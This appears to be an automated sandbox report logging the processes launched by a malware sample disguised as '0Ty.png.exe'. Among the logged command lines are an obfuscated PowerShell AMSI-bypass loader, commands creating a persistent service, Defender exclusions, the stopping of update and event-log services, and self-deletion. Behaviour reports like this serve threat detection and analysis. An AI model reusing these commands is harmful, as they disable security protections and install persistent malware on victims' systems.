Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff7a5b00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff75d8f0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff75d8f0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff75d8f0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff75d8f0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff7c38e0000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "HGLZSDMZ"
Imagebase:	0x7ff7a5b00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:CKtjhrwjgtVV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OBERloAcZJvOcu,[Parameter(Position=1)][Type]$NRdDEuXiTK)$iAHAMhduySN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+'e'+'l'+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+'mor'+[Char](121)+''+[Char](77)+''+'o'+'dul'+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+'De'+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+'t'+'e'+''+[Char](84)+''+'y'+'p'+'e'+'',''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+'c,'+[Char](83)+'e'+'a'+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+'nsiC'+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+','+''+'A'+''+[Char](117)+''+'t'+''+[Char](111)+'Cla'+'s'+''+'s'+'',[MulticastDelegate]);$iAHAMhduySN.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+''+[Char](101)+'c'+[Char](105)+'a'+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$OBERloAcZJvOcu).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'ged');$iAHAMhduySN.DefineMethod('I'+[Char](110)+'v'+'o'+''+[Char](107)+'e',''+[Char](80)+'ub'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+'e'+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+''+'l'+''+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+'a'+''+[Char](108)+'',$NRdDEuXiTK,$OBERloAcZJvOcu).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+'e'+','+''+[Char](77)+'anag'+'e'+''+'d'+'');Write-Output $iAHAMhduySN.CreateType();}$qragMIYqXnsdW=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+'te'+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'os'+[Char](111)+'f'+'t'+''+[Char](46)+''+[Char](87)+''+'i'+'n3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+'s'+[Char](97)+'f'+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'e'+[Char](116)+'ho'+[Char](100)+''+'s'+'');$OvDFGAtJneNnnn=$qragMIYqXnsdW.GetMethod(''+'G'+''+[Char](101)+'t'+'P'+''+[Char](114)+''+[Char](111)+'c'+[Char](65)+'d'+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+','+''+'S'+'ta'+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$JUWLrRiAryQvoCLvYRG=CKtjhrwjgtVV @([String])([IntPtr]);$QPnZYyCGLlinWBcTXIFRjN=CKtjhrwjgtVV @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$nOTpineWwNN=$qragMIYqXnsdW.GetMethod(''+[Char](71)+'et'+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+'l'+'e'+'H'+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+'n'+''+'e'+''+[Char](108)+'32'+'.'+''+[Char](100)+''+[Char](108)+'l')));$GwiYeAsQvQLFBf=$OvDFGAtJneNnnn.Invoke($Null,@([Object]$nOTpineWwNN,[Object](''+'L'+''+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+''+'i'+''+[Char](98)+'r'+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$crErzkRECYPPqZhPE=$OvDFGAtJneNnnn.Invoke($Null,@([Object]$nOTpineWwNN,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+'u'+''+'a'+'l'+[Char](80)+''+[Char](114)+'o'+'t'+''+'e'+''+[Char](99)+''+[Char](116)+'')));$XcrjNVu=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GwiYeAsQvQLFBf,$JUWLrRiAryQvoCLvYRG).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$GgrwIxrHHMksBSkCM=$OvDFGAtJneNnnn.Invoke($Null,@([Object]$XcrjNVu,[Object](''+'A'+''+'m'+''+'s'+''+[Char](105)+''+[Char](83)+''+'c'+''+'a'+''+[Char](110)+''+'B'+'u'+'f'+'f'+'e'+''+[Char](114)+'')));$mtiMskcCMz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($crErzkRECYPPqZhPE,$QPnZYyCGLlinWBcTXIFRjN).Invoke($GgrwIxrHHMksBSkCM,[uint32]8,4,[ref]$mtiMskcCMz);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$GgrwIxrHHMksBSkCM,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($crErzkRECYPPqZhPE,$QPnZYyCGLlinWBcTXIFRjN).Invoke($GgrwIxrHHMksBSkCM,[uint32]8,0x20,[ref]$mtiMskcCMz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+'A'+'R'+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+'le'+[Char](114)+''+'s'+''+[Char](116)+'a'+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "HGLZSDMZ" binpath= "C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe" start= "auto"
Imagebase:	0x7ff7a5b00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	11:23:00
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	11:23:01
Start date:	25/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff7a5b00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	11:23:01
Start date:	25/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "HGLZSDMZ"
Imagebase:	0x7ff7a5b00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	11:23:01
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	11:23:01
Start date:	25/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\0Ty.png.exe"
Imagebase:	0x7ff6d9560000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	11:23:01
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	11:23:01
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	11:23:01
Start date:	25/12/2024
Path:	C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe
Imagebase:	0x7ff7699e0000
File size:	5'457'920 bytes
MD5 hash:	3CAE1F11044D2CA787824610A40F1696
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 66%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	11:23:01
Start date:	25/12/2024
Path:	C:\Windows\System32\choice.exe
Wow64 process (32bit):	false
Commandline:	choice /C Y /N /D Y /T 3
Imagebase:	0x7ff6bd210000
File size:	35'840 bytes
MD5 hash:	1A9804F0C374283B094E9E55DC5EE128
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	11:23:01
Start date:	25/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	11:23:01
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	11:23:03
Start date:	25/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6d9560000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	11:23:03
Start date:	25/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff7a5b00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	11:23:03
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	11:23:03
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	11:23:03
Start date:	25/12/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff74dc80000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	11:23:03
Start date:	25/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff7a5b00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	11:23:03
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	11:23:03
Start date:	25/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff7a5b00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	11:23:03
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	11:23:03
Start date:	25/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff7a5b00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	11:23:04
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	11:23:04
Start date:	25/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff7a5b00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	11:23:04
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	11:23:04
Start date:	25/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff75d8f0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	11:23:04
Start date:	25/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff75d8f0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	11:23:04
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	11:23:04
Start date:	25/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff75d8f0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	11:23:04
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	11:23:04
Start date:	25/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff75d8f0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	11:23:04
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	11:23:04
Start date:	25/12/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff7c38e0000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	11:23:04
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	11:23:04
Start date:	25/12/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff7c38e0000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	65
Start time:	11:23:04
Start date:	25/12/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	dialer.exe
Imagebase:	0x7ff7c38e0000
File size:	39'936 bytes
